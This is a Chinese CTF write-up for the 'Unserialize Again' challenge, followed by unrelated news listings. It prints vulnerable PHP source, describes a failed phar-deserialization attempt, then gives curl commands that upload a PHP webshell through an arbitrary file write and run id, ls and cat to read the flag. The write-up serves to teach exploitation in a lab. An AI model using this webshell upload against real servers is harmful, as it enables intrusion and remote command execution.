Unserialize Again
WriteUp: Unserialize Again题目信息题目名称Unserialize Again难度中等提示Pair pears?目标获取Flag第一步信息收集访问首页发现Cookie中提示pairing.php访问该页面获得源码。curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/ # 响应头中有 Set-Cookie: looklookpairing.php curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php第二步源码审计pairing.php中存在一个story类关键魔术方法如下class story{ private $useradmin; public $pass; public $eating; public $Godfalse; public function __wakeup(){ $this-userhuman; if(11){ die(); } // 后面有 if(1!1){ echo $fffflag; } } public function __destruct(){ if($this-Godtrue $this-useradmin){ system($this-eating); } else { die(Get Out!); } } } if(isset($_GET[pear])isset($_GET[apple])){ $pear$_GET[pear]; $Adam$_GET[apple]; $filefile_get_contents(php://input); file_put_contents($pear,urldecode($file)); file_exists($Adam); }file_put_contents($pear, urldecode($file))可以将POST body写入任意文件$pear可控。file_exists($Adam)如果$Adam是phar://协议则会触发 phar 反序列化。反序列化目标使__destruct满足Godtrue且useradmin从而执行system($this-eating)。__wakeup会将user改为human并die()需要绕过。第三步尝试 phar 反序列化未成功生成了绕过__wakeup的 phar 文件修改属性数为5或3但由于服务端对 phar 的兼容性问题或urldecode对二进制数据的破坏始终无法触发 RCE输出均为Get Out!。第四步另辟蹊径 – 直接上传 webshell注意到file_put_contents可以写入任意文件且目录可写。直接上传一个简单的 PHP webshellcurl -g -X POST http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/pairing.php?pearshell.phpapplex \ --data ?php system($_GET[c]);?验证上传成功并执行命令curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?cid # uid33(www-data) gid33(www-data) groups33(www-data)第五步寻找 Flag列出根目录发现特殊文件/flllag注意不是/flagcurl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?cls%20-la%20/ # 发现 -rw-r--r-- 1 root root 43 Jul 10 00:49 flllag curl -g http://9922c13fea6530c6cef2a91c.http-ctf2.dasctf.com:80/shell.php?ccat%20/flllag # CTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}最终 FlagCTF2{453ce34b-2cdb-4153-ad8f-37621eeb2d80}总结本题虽然名为反序列化但实际更简单的解法是利用file_put_contents直接写 webshell 获得 RCE。Phar 反序列化因环境限制未能成功但 webshell 方案同样有效。关键点是发现/flllag而非常见的/flag文件名。

相关新闻

编程学习:一名二游老资历想原创一部二游

编程学习:一名二游老资历想原创一部二游

大家好,我叫小周想学习编程到精通水平,拿到竞赛奖项并且掌握专业的技能,有朝一日自己有能力做游戏(类似星穹铁道,然后是...)目前只能依赖B站网课学习,效率感人,希望能推荐一些方法我…

2026/7/31 2:55:26 阅读更多 →
电路设计入门:从基础符号到实战应用的全解析

电路设计入门:从基础符号到实战应用的全解析

1. 项目概述:从符号到电路世界的语言如果你刚接触电路设计,或者翻开一份复杂的电路图,第一眼看到的可能不是密密麻麻的连线,而是各种奇形怪状的符号:一个圆圈加个箭头、一个三角形、几条波浪线……这些就是电路世界的“…

2026/7/31 2:55:26 阅读更多 →
TradingView足迹图实战:揭秘市场微观结构与Delta分析

TradingView足迹图实战:揭秘市场微观结构与Delta分析

最近在跟一些交易员朋友交流时发现,很多人对"Footprint Charts"这个概念既好奇又困惑。有人说这是机构交易员的秘密武器,有人说这不过是K线图的变种。但真正能说清楚它到底解决了什么实际问题的人,却少之又少。 Footprint Charts&…

2026/7/31 2:55:26 阅读更多 →

最新新闻

Python构建RAG知识库问答系统实战

Python构建RAG知识库问答系统实战

1. Python RAG知识库问答系统实战指南在信息爆炸的时代,如何从海量文档中快速准确地获取所需信息成为企业和个人的迫切需求。RAG(Retrieval-Augmented Generation)技术结合了信息检索与生成模型的优势,正在重塑知识管理领域。作为…

2026/7/31 3:27:40 阅读更多 →
基于8051单片机的HRTOS事件通信实例:实现任务间同步

基于8051单片机的HRTOS事件通信实例:实现任务间同步

1. 前言在嵌入式系统开发中,不同任务之间经常需要进行同步。例如:按键触发任务执行串口接收完成通知处理任务传感器采集完成通知控制任务外部中断通知后台任务处理传统裸机程序通常使用全局变量或者标志位实现。例如:while(1) {if(event_flag…

2026/7/31 3:27:40 阅读更多 →
FIFA 23 Live Editor完整指南:免费开源游戏修改器终极教程

FIFA 23 Live Editor完整指南:免费开源游戏修改器终极教程

FIFA 23 Live Editor完整指南:免费开源游戏修改器终极教程 【免费下载链接】FIFA-23-Live-Editor FIFA 23 Live Editor 项目地址: https://gitcode.com/gh_mirrors/fi/FIFA-23-Live-Editor 还在寻找能够彻底改变FIFA 23游戏体验的强大工具吗?FIFA…

2026/7/31 3:27:40 阅读更多 →
BBWEYY 线上获客转化解决方案:2026企业线上获客降本指南,少投广告也能持续获得客户线索,含零代码SAAS、AI编程、源码定制交付

BBWEYY 线上获客转化解决方案:2026企业线上获客降本指南,少投广告也能持续获得客户线索,含零代码SAAS、AI编程、源码定制交付

2026企业线上获客降本指南,少投广告也能持续获得客户线索 从一次性买流量,转向可积累的网站与GEO内容资产 干货分享|适合中小企业负责人、市场负责人和销售团队 核心观点:企业降低获客成本的重点,不是立即停掉全部广…

2026/7/31 3:27:40 阅读更多 →
企业获客越来越贵,如何用BBWEYY GEO和低成本网站建立自有客户资产,含零代码SAAS、AI编程、源码定制交付

企业获客越来越贵,如何用BBWEYY GEO和低成本网站建立自有客户资产,含零代码SAAS、AI编程、源码定制交付

企业获客越来越贵,如何用BBWEYY GEO和低成本网站建立自有客户资产 从高价投流、线下获客和平台抽成困局中突围 干货分享|适合制造业、服务业、门店、招商加盟与中小企业负责人 核心观点:企业真正需要降低的,不只是单次点击价格…

2026/7/31 3:27:39 阅读更多 →
Codex 团队协作实战:为什么 Demo 一跑就翻车?

Codex 团队协作实战:为什么 Demo 一跑就翻车?

《Codex火了之后,为什么团队反而更关心维护成本?》看起来是个大话题,但真落到项目里,常常就是几个具体选择。下面我尽量按实际开发时会遇到的问题来讲。摘要最近 Codex 这类 AI 编程工具火了,不少团队开始跃跃欲试。但…

2026/7/31 3:26:36 阅读更多 →

日新闻

物理复制比逻辑复制好在哪?数据库复制原理详解

物理复制比逻辑复制好在哪?数据库复制原理详解

数据库复制是把主库数据同步到备库的机制,分为逻辑复制和物理复制两种。逻辑复制传输的是 SQL 语句或行变更事件,物理复制传输的是存储引擎底层的物理日志。阿里云 PolarDB(云原生数据库)采用物理复制,在同步延迟、数据…

2026/7/31 0:00:34 阅读更多 →
BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南

BilibiliDown:3分钟学会B站视频下载的终极指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/gh_mirrors/bi/Bilib…

2026/7/31 0:00:34 阅读更多 →
有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

有哪些游戏数据AI平台?游戏行业Data+AI融合方案盘点

当前,游戏行业的“DataAI融合”已从概念验证进入价值落地阶段。根据IDC 2025年数据,中国AI游戏云市场规模已达18.6亿元;同时,游戏研发环节AI渗透率高达86%,生成式AI内容普及率超过50%。面对庞大的市场,游戏…

2026/7/31 0:00:34 阅读更多 →

周新闻

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 道路桥梁裂缝检测数据集 道路桥梁病害识别检测数据集

深度学习道路桥梁裂缝检测系统 数据集6000张 完整源码已标注数据集训练好的模型环境配置教程程序运行说明文档,可以直接使用!系统支持图片、视频、摄像头等多种方式检测裂缝,功能强大实用。 1数据集6000张 8各类别

2026/7/31 1:03:03 阅读更多 →
深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

深度学习YOLO模型如何训练 PUBG 绝地求生目标检测数据集

pubg数据集 精选原图1.42万数据 1.49万标签 无任何重复、算法增强或冗余图像! pubg绝地求生目标检测数据集 1分类:e_body,14905个标签,txt格式 共计14244张图,99%为640*640尺寸图像 适合yolo目标检测、AI训练关键词&am…

2026/7/29 14:34:28 阅读更多 →
Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex英雄目标检测数据集 深度学习框架YOLO如何训练APEX数据集

Apex检测数据集数据集详情检测类别: allies enemy tag图片总量:7247张训练集:5139张验证集:1425张测试集:683张标注状态:全部已标注,即拿即用数据格式:支持YOLO格式及其他格式&#…

2026/7/29 15:00:03 阅读更多 →

月新闻